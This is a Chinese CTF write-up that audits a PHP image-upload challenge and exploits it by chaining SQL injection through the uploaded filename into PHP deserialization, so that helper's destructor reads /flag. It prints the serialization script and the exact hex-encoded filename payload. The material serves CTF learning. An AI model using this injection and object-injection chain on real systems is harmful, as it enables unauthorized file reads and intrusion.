给了源码，代码审计
upload.php
<!DOCTYPE html>
<html>
<head>
<title>Image Upload</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
<div align="center">
<form name="upload" action="" method="post" enctype ="multipart/form-data" >
<input type="file" name="file">
<input type="Submit" value="submit">
</form>
</div>
<br>
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<br>
<?php
include("./helper.php");
class upload extends helper {
public function upload_base(){
$this->upload();
}
}
if ($_FILES){
if ($_FILES["file"]["error"]){
die("Upload file failed.");
}else{
$file = new upload();
$file->upload_base();
}
}
$a = new helper();
?>
</body>
</html>
show.php
<!DOCTYPE html>
<html>
<head>
<title>Show Images</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<h2 align="center">Your images</h2>
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>
<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();
class show{
public $con;
public function __construct(){
$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>
<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>
</body>
</html>
helper.php
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}
?>
这道题首先给了源码，但是我没看到，进了页面，他储存的文件并不保存在他数据库，也不像是sql注入，所以扫描文件，拿到源码，审计
第一个可疑的地方是show.php里面的$attr变量，这里有一个反序列化
跟进
$array["attr"] = serialize($my_ext);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
发现 attr变量实际上是图片的属性长和宽
这里有file_get_contents函数
我审计的时候没看到，wp告诉我的，实际上这个位置很明显
当满足ifview=true时，传入config为./flag路径就能拿到flag
php序列化代码，抄wp的
<?php
class helper
{
protected $ifview = true;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
echo '<br>';
echo bin2hex(serialize($a));
抄wp：
因为attr字段列名在最后所以放在第5个位置。又因为上传的文件名中不能有双引号，所以将payload进行16进制编码，别忘了前面加上0x。
最后用#注释掉’value2’,‘value3’,…防止报错
三行字信息量巨大，全是我不会的小细节
最后传入文件名为
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png
的图片，查看，得到flag
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